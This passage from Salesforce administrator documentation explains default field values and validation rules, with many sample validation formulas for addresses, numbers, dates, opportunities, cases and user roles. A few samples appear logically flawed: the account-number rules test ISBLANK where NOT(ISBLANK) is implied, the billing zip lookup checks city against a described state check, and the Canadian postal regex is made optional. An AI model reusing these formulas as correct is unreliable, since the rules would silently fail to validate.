the cities listed apply, the Tax Rate field is empty. You can also use the Tax Rate field in formulas to automatically calculate
taxable amounts and final sales prices.

See Also:
Defining Default Field Values
Default Field Value Considerations
About Default Field Values

Default Field Value Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. Review the following
considerations before incorporating default field values in your organization.

• If a default value is based on the value of a merge field, Salesforce.com uses the value of the merge field at the time the
default value is executed. If the value of the merge field changes later, the default value is not updated.
• Users can change or remove the default field value on a record.
• Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
• If you make an activity custom field universally required, you must also provide a default value.

507
Customize Managing Validation Rules

• If an activity custom field is unique, you cannot provide a default value.


• Default field values are different from formula fields in the following ways: they are only executed once, at record creation;
they are not read only; and the user can change the value but cannot restore the default field value.
• Since the default value is inserted before users enter any values in the new record, you cannot use the fields on the current
record to create a default field value. For example, you cannot create a default field value on a contact that uses the first
initial and last name because those values are not available when you click New to create a contact record. However, you
can use the record type because it is selected before the record edit page displays.
• To apply a different default value for different record types, use the record type as a merge field in a CASE function within
the default field value setup.
• Fields that are not visible to the user due to field-level security are still available in the formula for a default field value.
• Connect Offline and Connect for Outlook do not display default values. However, Salesforce.com inserts the default values
when a user syncs unless the user entered a value.
• Default field values are not available in the Self-Service portal.
• Lead conversion, Web-to-Lead, and Web-to-Case do not execute default field values.
Note: You can define a formula for default values only where appropriate. For example, the default value options for
picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked,
or Use first value as default value.

See Also:
Defining Default Field Values
About Default Field Values
Useful Default Field Value Formulas

Managing Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field validation rules: “View Setup and Configuration”
To define or change field validation rules: “Customize Application”

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value.
To begin using validation rules, click Setup ➤ Customize, select the appropriate activity, standard object, or users link from
the menu, and click Validation Rules. For custom objects, click Setup ➤ Create ➤ Objects and select the custom object.
Validation rules are listed in the Validation Rules related list. To create a validation rule for the Comment field in Salesforce
CRM Ideas, click Setup ➤ Customize ➤ Ideas ➤ Comment Validation Rules.

• To define a validation rule, click New. See Defining Validation Rules on page 510.

508
Customize Managing Validation Rules

• To make changes to a validation rule, click Edit.


• To delete a validation rule, click Del.
• To view details about a validation rule, click field validation name.
• To clone a validation rule, select the rule you want to clone and click Clone.
• To activate a validation rule, click Edit next to the rule you want to activate, select Active, and click Save. Deselect
Active to deactivate the rule.

See Also:
About Validation Rules
Examples of Validation Rules

About Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Improve the quality of your data using validation rules. Validation rules verify that the data a user enters in a record meets the
standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates
the data in one or more fields and returns a value of “True” or “False.” Validation rules also include an error message to display
to the user when the rule returns a value of “True” due to an invalid value.
After you have defined validation rules:

1. The user chooses to create a new record or edit an existing record.


2. The user clicks Save.
3. Salesforce.com executes all validation rules.

• If all data is valid, Salesforce.com saves the record.


• If any data is invalid, Salesforce.com displays the associated error message without saving the record.

4. The user makes the necessary changes and clicks Save again.

You can specify the error message to display when a record fails validation and where to display it. For example, your error
message can be “The close date must occur after today's date.” You can choose to display it near a field or at the top of the
page. Like all other Salesforce.com error messages, validation rule errors display in red text and are preceded by the word
“Error.”
Important: Validation rules apply to all new and updated records for an object, even if the fields referenced in the
validation rule are not included in a page layout or an API call. If your organization has multiple page layouts for the
object on which you create a validation rule, verify that the validation rule functions as intended on each layout. If
your organization has any integrations that use this object, verify that the validation rule functions as intended for
each integration.

See Also:
Defining Validation Rules
Examples of Validation Rules

509
Customize Managing Validation Rules

Defining Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field validation rules: “View Setup and Configuration”
To define or change field validation rules: “Customize Application”

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value.
Before creating validation rules, review the Validation Rule Considerations on page 539.
To create validation rules:

1. For standard objects, click Setup ➤ Customize, select the appropriate activity, tab, or users link, and click Validation
Rules.
For custom objects, click Setup ➤ Create ➤ Objects and select the custom object.
To create a validation rule for the Comment field in Salesforce CRM Ideas, click Setup ➤ Customize ➤ Ideas ➤ Comment
Validation Rules.
To create validation rules for campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤
Validation Rules.
2. Click New in the Validation Rules related list.
3. Enter the properties of your validation rule:

Field Description
Rule Name Unique identifier of up to 80 characters with no spaces or special characters such
as extended characters.
Active Checkbox that indicates if the rule is enabled.
Description For internal purposes only. Use this field to enter a 255 character or less description
that distinguishes the validation rule from others.
Error Condition Formula The expression used to validate the field. See Building Formulas on page 498 and
Operators and Functions on page 548.
Error Message The message that displays to the user when a field fails the validation rule.
If your organization uses the translation workbench, you can translate the error
message into the languages Salesforce.com supports. See Setting Up Translation
Workbench on page 121.

510
Customize Managing Validation Rules

Field Description
Error Location Determines where on the page to display the error. To display the error next to a
field, choose Field and select the field. If the error location is a field, the validation
rule is also listed on the detail page of that field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout,
Salesforce.com automatically changes the error location to Top of Page.
Note: Error messages can only be displayed at the top of the page in
validation rules for Salesforce CRM Ideas.

4. Click Check Syntax to check your formula for errors.


5. Click Save to finish or Save & New to create additional validation rules.

Note: The detail page of a custom activity field does not list associated validation rules. To edit the validation rule
for a custom activity field, select the validation rule by clicking Setup ➤ Customize ➤ Activities and choose Task
Validation Rules or Event Validation Rules.

See Also:
About Validation Rules
Examples of Validation Rules

Examples of Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field validation rules: “View Setup and Configuration”
To define or change field validation rules: “Customize Application”

Use the following samples for validation rules in Salesforce.com and Force.com AppExchange apps, including:

• Account Validation Rules


• Contact Validation Rules
• Opportunity Management Validation Rules
• Call Center Validation Rules
• User, Role, and Profile Validation Rules
• Account Address Validation Rules
• Date Validation Rules
• Number Validation Rules

511
Customize Managing Validation Rules

• Cross Object Validation Rules


• Salesforce CRM Ideas Validation Rules
• Other Validation Rules

See Also:
About Validation Rules
Defining Validation Rules

Account Address Validation Rules

Canadian Billing Postal Code

Field Value
Description: Validates that the account Billing Zip/Postal Code is in the correct format if
Billing Country is Canada.

Formula: AND(
OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry
= "Canada"),
NOT(REGEX(BillingPostalCode,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?"))
)

Error Message: Canadian postal code must be in A9A 9A9 format.


Error Location: Billing Zip/Postal Code

Billing Zip Code is in Billing State

Field Value
Description: Validates that the account Billing Zip/Postal Code is valid by looking up the
first five characters of the value in a custom object called Zip_Code__c that contains a
record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object, or the Billing State does not match the corresponding State_Code__c in
the Zip_Code__c object, an error is displayed.
Formula: VLOOKUP(
$ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name ,
LEFT(BillingPostalCode,5)) <> BillingCity

Error Message: Billing Zip Code does not exist in specified Billing State.
Error Location: Billing Zip/Postal Code

512
Customize Managing Validation Rules

US Billing Zip Code

Field Value
Description: Validates that the account Billing Zip/Postal Code is in 99999 or 99999-9999
format if Billing Country is USA or US.
Formula: AND(
OR(BillingCountry = "USA", BillingCountry = "US"),
NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?"))
)

Note: This example uses the REGEX function; see Shipping Zip Code on page
513 if you are not familiar with regular expressions.

Error Message: Zip code must be in 99999 or 99999-9999 format.


Error Location: Billing Zip/Postal Code

Shipping Zip Code

Field Value
Description: Validates that the account Shipping Zip/Postal Code is in 99999 or 99999-9999
format if Shipping Country is USA or blank.

513
Customize Managing Validation Rules

Field Value
Formula: AND(
OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)),
OR(
AND(LEN(ShippingPostalCode) <>5, LEN(ShippingPostalCode) <>
10),
NOT(CONTAINS("0123456789", LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 2, 1))),

NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 3, 1))),

NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 4, 1))),

NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 5, 1))),

AND(
LEN(ShippingPostalCode) = 10,
OR(
MID( ShippingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 7,
1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 8,
1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 9,
1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 10,
1)))
)
)
)
)

Note: This example interprets a blank country as US. To use this example with
other countries, remove the clause that checks the length of the country field.
Also, validation rule criteria are case sensitive, so this rule is only enforced when
the country is blank or “USA” in all capital letters. The rule is not enforced when
the country is “usa.”

Tip: You can also validate zip codes using a regular expression; for an example
of a formula using a regular expression, see REGEX on page 591.

Error Message: Zip code must be in 99999 or 99999-9999 format.


Error Location: Shipping Zip/Postal Code

Valid Billing State (US)

Field Value
Description: Validates that the account Billing State/Province is a valid two-character
abbreviation if Billing Country is US, USA, or blank.

514
Customize Managing Validation Rules

Field Value
Formula: AND (
OR(BillingCountry = "US", BillingCountry="USA",
ISBLANK(BillingCountry)),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState)
)))

Note: This example interprets a blank country as US. To use this example with
other countries, remove the clause that checks the length of the country field.
Also, validation rule criteria are case sensitive, so this rule is only enforced when
the country is blank or “USA” in all capital letters. The rule is not enforced
when the country is “usa.”

Error Message: A valid two-letter state code is required.


Error Location: Billing State/Province

Valid Billing Province (Canada)

Field Value
Description: Validates that the account Billing State/Province is a valid two-character abbreviation if
Billing Country is CA or CAN.

Formula: AND (
OR(BillingCountry = "CA", BillingCountry="CAN"),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState)
)))

Error Message: A valid two-letter province code is required.


Error Location: Billing State/Province

Valid Shipping State

Field Value
Description: Validates that the account Shipping State/Province is a valid two-character abbreviation if
Shipping Country is US, USA, or blank.

515
Customize Managing Validation Rules

Field Value
Formula: AND (
OR(ShippingCountry = "US", ShippingCountry="USA",
ISBLANK(ShippingCountry)),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", ShippingState)
)))

Note: This example interprets a blank country as US. To use this example with other countries,
remove the clause that checks the length of the country field. Also, validation rule criteria are
case sensitive, so this rule is only enforced when the country is blank or “USA” in all capital
letters. The rule is not enforced when the country is “usa.”

Error Message: A valid two-letter state abbreviation is required.


Error Location: Shipping State/Province

Valid Shipping Province (Canada)

Field Value
Description: Validates that the account Shipping State/Province is a valid two-character abbreviation, if
Billing Country is CA or CAN.

Formula: AND (
OR(ShippingCountry = "CA", ShippingCountry="CAN"),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState)
)))

Error Message: A valid two-letter province abbreviation is required.


Error Location: Shipping State/Province

Valid Billing Country

Field Value
Description: Validates that the account Billing Country is a valid ISO 3166 two-letter code.

516
Customize Managing Validation Rules

Field Value
Formula: OR(
LEN(BillingCountry) = 1,
NOT(
CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW",
BillingCountry)))

Error Message: A valid two-letter country code is required.


Error Location: Billing Country

Account Validation Rules

Account Number Is Numeric

Field Value
Description: Validates that the Account Number is numeric if not blank.
Formula: AND(
ISBLANK(AccountNumber),
NOT(ISNUMBER(AccountNumber))
)

Error Message: Account Number is not numeric.


Error Location: Account Number

Account Number Length

Field Value
Description: Validates that the Account Number is exactly seven digits (if it is not blank). The
number seven is simply illustrative. You can change this to any number you like.

517
Customize Managing Validation Rules

Field Value
Formula: AND(
ISBLANK(AccountNumber),
LEN(AccountNumber) <> 7
)

Error Message: Account Number must be seven digits.


Error Location: Account Number

Annual Revenue Range

Field Value
Description: Validates that the account Annual Revenue is not negative and does not exceed $100
billion. This limit is designed to catch typos.
Formula: OR(
AnnualRevenue < 0,
AnnualRevenue > 100000000000
)

Error Message: Annual Revenue cannot exceed 100 billion.


Error Location: Annual Revenue

Number Validation Rules

Time Cards Must Total 40 Hours

Field Value
Description: Ensures that users cannot save a time card record with more than 40 hours in a work
week. This example requires five custom fields on your custom object, one for each day
of work.
Formula: Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Error Message: Your total hours cannot exceed 40.


Error Location: Top of Page

518
Customize Managing Validation Rules

Number Cannot Be Negative

Field Value
Description: Validates that a custom field called Hours Worked is not a negative number.
Formula: Hours_Worked__c < 0

Error Message: Hours Worked cannot be less than zero.


Error Location: Hours Worked

Number Must Be Even

Field Value
Description: Validates that a custom field called Ark Passengers is a non-negative even number.
Formula: OR(
Ark_Passengers__c < 0,
MOD( Ark_Passengers__c, 2) <> 0
)

Error Message: Ark Passengers must be a positive even number.


Error Location: Ark Passengers

Number Must Be Odd

Field Value
Description: Validates that a custom field called Socks Found is a non-negative odd number.
Formula: OR(
Socks_Found__c < 0,
MOD( Socks_Found__c, 2) = 0
)

Error Message: Socks Found must be an odd number.


Error Location: Socks Found

Number Must Be a Multiple of Five

Field Value
Description: Validates that a custom field called Multiple of 5 is a multiple of five.
Formula: MOD( Multiple_of_5__c, 5) <> 0

Error Message: Number must be a multiple of five.


Error Location: Multiple of 5

519
Customize Managing Validation Rules

Number Must Be an Integer

Field Value
Description: Validates that a custom field called My Integer is an integer.
Formula: FLOOR( My_Integer__c) <> My_Integer__c

Error Message: This field must be an integer.


Error Location: My Integer

Number Must Be Between -50 and 50

Field Value
Description: Validates that a custom field called Volume is between -50 and 50.
Formula: ABS( Volume__c) > 50

Error Message: Volume must be between -50 and 50.


Error Location: Volume

Number Range Validation

Field Value
Description: Validates that the range between two custom fields, Salary Min and Salary Max,
is no greater than $20,000.
Formula: (Salary_Max__c - Salary_Min__c) > 20000

Error Message: Salary range must be within $20,000. Adjust the Salary Max or Salary Min values.
Error Location: Salary Max

Percentage Must Be Between Zero and 100

Field Value
Description: Validates that a custom field called Mix Pct is between 0 and 100%. Note that percent
fields are expressed divided by 100 in formulas (100% is expressed as 1; 50% is expressed
as 0.5).
Formula: OR(
Mix_Pct__c > 1.0,
Mix_Pct__c < 0.0
)

Error Message: Mix Pct must be between 0 and 100%.


Error Location: Mix Pct

520
Customize Managing Validation Rules

Contact Validation Rules

Mailing Address Fields Are Required

Field Value
Description: Validates that the contact Mailing Street, Mailing City, and Mailing Country
are provided.
Formula: OR(
ISBLANK( MailingStreet ),
ISBLANK( MailingCity ),
ISBLANK( MailingCountry )
)

Error Message: Mailing Street, City, and Country are required.


Error Location: Top of Page

Mailing Street Is Required

Field Value
Description: Validates that the contact Mailing Street is provided.
Formula: ISBLANK( MailingStreet )

Error Message: Mailing Street is required.


Error Location: Mailing Street

Mailing Zip Code

Field Value
Description: Validates that the contact Mailing Zip/Postal Code is in 99999 or 99999-9999
format if Mailing Country is USA or blank.

521
Customize Managing Validation Rules

Field Value
Formula: AND(
OR(MailingCountry = "USA", ISBLANK(MailingCountry)),
OR(
AND(LEN(MailingPostalCode) <>5, LEN(MailingPostalCode) <>
10),
NOT(CONTAINS("0123456789", LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 2, 1))),

NOT(CONTAINS("0123456789", MID( MailingPostalCode , 3, 1))),

NOT(CONTAINS("0123456789", MID( MailingPostalCode , 4, 1))),

NOT(CONTAINS("0123456789", MID( MailingPostalCode , 5, 1))),

AND(
LEN(MailingPostalCode) = 10,
OR(
MID( MailingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 7, 1))),

NOT(CONTAINS("0123456789", MID( MailingPostalCode , 8, 1))),

NOT(CONTAINS("0123456789", MID( MailingPostalCode , 9, 1))),

NOT(CONTAINS("0123456789", MID( MailingPostalCode , 10, 1)))

)
)
)
)

Note: This example interprets a blank country as US. To use this example with
other countries, remove the clause that checks the length of the country field.
Also, validation rule criteria are case sensitive, so this rule is only enforced when
the country is blank or “USA” in all capital letters. The rule is not enforced when
the country is “usa.”

Tip: You can also validate zip codes using a regular expression; for an example
of a formula using a regular expression, see REGEX on page 591.

Error Message: Zip code must be in 99999 or 99999-9999 format.


Error Location: Mailing Zip/Postal Code

Phone Number Has International Format

Field Value
Description: Validates that the Phone number begins with a plus sign (+) for country code. Note that
this validation rule conflicts with the ten-digit rule.
Formula: LEFT(Phone, 1) <> "+"

Error Message: Phone number must begin with + (country code).


Error Location: Phone

522
Customize Managing Validation Rules

US Phone Number Has Ten Digits

Field Value
Description: Validates that the Phone number is in (999) 999-9999 format. This works by using the
REGEX function to check that the number has ten digits in the (999) 999-9999 format.
Formula: NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))

Error Message: US phone numbers should be in this format: (999) 999-9999.


Error Location: Phone

Date Validation Rules

Date Must Be a Weekday

Field Value
Description: Validates that the value of a custom date field is a weekday (not Saturday or Sunday).
Formula: CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0

Error Message: Date must be a weekday.


Error Location: My Date

Date Must Be a Weekend Day

Field Value
Description: Validates that the value of a custom date field is a Saturday or Sunday.
Formula: CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 1,
6, 1,
0) = 0

Error Message: Date must be a weekend day.


Error Location: My Date

Date Must Be in the Current Month

Field Value
Description: Validates that a custom date field contains a date within the current month and year.

523
Customize Managing Validation Rules

Field Value
Formula: OR (
YEAR( My_Date__c ) <> YEAR ( TODAY() ),
MONTH( My_Date__c ) <> MONTH ( TODAY() )
)

Error Message: Date must be in the current month.


Error Location: My Date

Date Must Be in the Current Year

Field Value
Description: Validates that a custom date field contains a date within the current year.
Formula: YEAR( My_Date__c ) <> YEAR ( TODAY() )

Error Message: Date must be in the current year.


Error Location: My Date

Date Must Be the Last Day of the Month

Field Value
Description: Validates whether a custom field called My Date is the last day of the month. To do
this, it determines the date of the first day of the next month and then subtracts 1 day.
It includes special case logic for December.
Formula: DAY(My_Date__c) <>
IF(Month(My_Date__c)=12, 31,
DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

Error Message: Date must be the last day of the month.


Error Location: My Date

Date Must Be Within One Year of Today

Field Value
Description: Validates whether a custom field called Follow-Up Date is within one year of today’s
date. This example assumes a 365 day year. (It does not handle leap years.)
Formula: Followup_Date__c - TODAY() > 365

Error Message: Follow-Up Date must be within one year of today.


Error Location: Follow-Up Date

524
Customize Managing Validation Rules

Day of Month Cannot Be Greater Than 15

Field Value
Description: Validates that a custom field called Begin Date contains a date in the first 15 days of
the specified month.
Formula: DAY( Begin_Date__c ) > 15

Error Message: Begin Date cannot be after the 15th day of month.
Error Location: Begin Date

End Date Cannot Be Before Begin Date

Field Value
Description: Validates that a custom field called End Date does not come before another custom
field called Begin Date.
Formula: Begin_Date__c > End_Date__c

Error Message: End Date cannot be before Begin Date.


Error Location: Begin Date

Expiration Date Cannot Be Before Close Date

Field Value
Description: Validates that a custom field called Expiration Date does not come before Close
Date.

Formula: Expiration_Date__c < CloseDate

Error Message: Expiration Date cannot be before Close Date.


Error Location: Expiration Date

Opportunity Management Validation Rules

Conditionally-Required Field Based on Opportunity Stage

Field Value
Description: Validates that a custom field called Delivery Date is provided if an opportunity has
advanced to the Closed Won or Negotiation/Review stage.

525
Customize Managing Validation Rules

Field Value
Formula: AND (
OR (
ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Negotiation/Review")),
ISBLANK(Delivery_Date__c)
)

Error Message: Delivery Date is required for this stage.


Error Location: Delivery Date

Close Date Cannot Be Prior to Current Month

Field Value
Description: Validates that the Close Date of an opportunity is not within a month prior to the
current month. Note the use of ISNEW and ISCHANGED in this formula to ensure
the condition is only checked when the opportunity is being created or the Close Date
field is modified subsequently.
Formula: AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )

Error Message: Close Date cannot be prior to current month.


Error Location: Close Date

Close Date Must Be a Future Date

Field Value
Description: Ensures that users do not change the Close Date of an opportunity to a day in the past.
Formula: CloseDate < TODAY()

Error Message: Close Date cannot be a day in the past.


Error Location: Close Date

Discounts on Opportunities

Field Value
Description: Validates that a custom discount percent field is between 0 and 40%.
Formula: OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

Error Message: The Discount Rate must not exceed 40%.

526
Customize Managing Validation Rules

Field Value
Error Location: Discount Rate

High-Value Opportunity Must Be Approved Before Closed

Field Value
Description: Opportunities with amounts greater than $50,000 require that a custom checkbox field
called Approved is checked in order to change the stage to Closed Won or Closed Lost.
To automate this, set field-level security on the Approved checkbox so that it can only
be checked via a custom approval process. (Enterprise Edition or Unlimited Edition)
Formula: AND(
OR(
ISPICKVAL(StageName,"Closed Won"),
ISPICKVAL(StageName,"Closed Lost")),
(Amount > 50000),
NOT(ISPICKVAL(Approval_Status__c ,"Approved")))

Error Message: All high-value opportunities must be approved for closure. Click the Request Close
button.
Error Location: Top of Page

Opportunity Amount Cannot Exceed $10 Million

Field Value
Description: Validates that opportunity Amount is positive and no more than $10 million. This limit
is designed to catch typos.
Formula: OR(
Amount < 0,
Amount > 10000000
)

Error Message: Amount cannot exceed $10 million.


Error Location: Amount

Opportunity Check for Products

Field Value
Description: Validates that an opportunity has at least one opportunity product before users can save a change
to an opportunity.
Formula: NOT(OR(ISNEW(),HasOpportunityLineItem))

Error Message: You must add products to this opportunity before saving.
Error Location: Top of Page

527
Customize Managing Validation Rules

Opportunity Must Have Products if Beyond “Needs Analysis” Stage

Field Value
Description: Validates that an opportunity has opportunity products before the Stage can move
beyond Needs Analysis.
Formula: AND (
CASE( StageName,
"Value Proposition", 1,
"Id. Decision Makers", 1,
"Perception Analysis", 1,
"Proposal/Price Quote", 1,
"Negotiation/Review", 1,
"Closed Won", 1,
0) = 1,
NOT(HasOpportunityLineItem)
)

Error Message: Opportunity products are required to advance beyond the Needs Analysis stage.
Error Location: Top of Page

Opportunity Name Format

Field Value
Description: Validates that an opportunity contains a hyphen as a way of enforcing an “[Account] -
[Amount]” opportunity naming convention.
Formula: FIND( " - ", Name ) = 0

Error Message: Opportunity Name should use “[Account] - [Amount]” format.


Error Location: Opportunity Name

Prevent Sales Reps from Moving Opportunity Stage Backwards

Field Value
Description: Prevent sales reps from changing opportunity Stage “backwards” to specific values, once
they have accepted the opportunity via a custom approval process. The approval process
sets the custom Accepted Flag checkbox to True.
Formula: AND(
Accepted_Flag__c,
OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName,
"Stage 2"))
)

Error Message: Invalid stage for accepted opportunity.


Error Location: Stage

528
Customize Managing Validation Rules

Probability Must Be 100% for Won Opportunities

Field Value
Description: Validates that the probability of a won opportunity is properly set to 100%. This is useful
for data cleanliness and reporting purposes.
Formula: AND (
ISPICKVAL( StageName, "Closed Won"),
Probability <> 1)

Error Message: Probability must be 100% for won opportunities.


Error Location: Probability

Probability Must Be Zero for Lost Opportunities

Field Value
Description: Validates that the probability of a lost opportunity is properly set to zero. This is useful
for data cleanliness and reporting purposes.
Formula: AND (
ISPICKVAL( StageName, "Closed Lost"),
Probability <> 0)

Error Message: Probability must be 0% for lost opportunities.


Error Location: Probability

Project Start Date

Field Value
Description: Validates that a field is conditionally required based on the values of other fields. Use this
validation formula to ensure that users include a Project Start Date for an opportunity
that is closed/won.
Formula: AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

Error Message: Project start date is required for won opportunities.


Error Location: Project Start Date

529
Customize Managing Validation Rules

Call Center Validation Rules

Conditionally Require Description When Case Reason is “Other”

Field Value
Description: Validates that a custom field called Other Reason contains a value if a case has a Case
Reason of “Other.”

Formula: AND(
ISPICKVAL( Reason, "Other" ),
ISBLANK(Other_Reason__c)
)

Error Message: Description of Other Reason is required.


Error Location: Other Reason

Prevent Open Cases from Being Reset to New

Field Value
Description: If a case is already open, prevents the Status from being changed back to “New.”
Formula: AND(
ISCHANGED( Status ),
NOT(ISPICKVAL(PRIORVALUE( Status ), "New")),
ISPICKVAL( Status, "New")
)

Error Message: Open case Status cannot be reset to New.


Error Location: Status

Restrict Status of Re-Opened Cases

Field Value
Description: Validates that the case Status is “Re-opened” when a closed case is opened again.
Formula: AND(
ISCHANGED( Status ),
OR(
ISPICKVAL(PRIORVALUE( Status ), "Closed"),
ISPICKVAL(PRIORVALUE( Status ), "Closed in SSP")),
NOT( ISPICKVAL( Status, "Re-Opened"))
)

Error Message: Closed case can only be changed to “Re-opened.”


Error Location: Status

530
Customize Managing Validation Rules

User, Role, and Profile Validation Rules

Discount Percent Does Not Exceed Role-Based Limit

Field Value
Description: Validates that a custom field on opportunities called Discount Percent does not
exceed a maximum value that varies depending on the user’s role. The default maximum
is 15%.
Formula: Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Error Message: Discount (%) exceeds limit allowed for your role.
Error Location: Discount Percent

Expense Amount Does Not Exceed User's Max Allowed Expense

Field Value
Description: Validates a custom field called Expense Amount against a custom user field called Max
Allowed Expense.

Formula: Expense_Amount__c > $User.Max_Allowed_Expense__c

Error Message: Amount cannot exceed your maximum allowed expense.


Error Location: Expense Amount

Only Record Owner Can Change Field

Field Value
Description: Ensures that only the record owner can make changes to a custom field called Personal
Goal.

Formula: AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id
)

Error Message: Only record owner can change Personal Goal.


Error Location: Personal Goal

531
Customize Managing Validation Rules

Only Record Owner or Administrator Can Change Field

Field Value
Description: Ensures that a user can make changes to a custom field called Personal Goal only if
the user is the record owner or has a custom profile of “Custom: System Admin.”
Formula: AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.

Error Message: Only record owner or administrator can change Personal Goal.
Error Location: Personal Goal

Opportunity Close Date Can Only Be Back-Dated by Administrator

Field Value
Description: Validates that the Close Date of an opportunity does not fall prior to the current
month, except for users who have a custom profile called “Custom: System Admin.”
Formula: AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1),
$Profile.Name <> "Custom: System Admin"
)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.

Error Message: Close Date cannot be prior to current month.


Error Location: Close Date

Cross Object Validation Rules

Discounts Must Be Within Range


This example consists of three validation rules on opportunity products. The examples below work together to help you manage
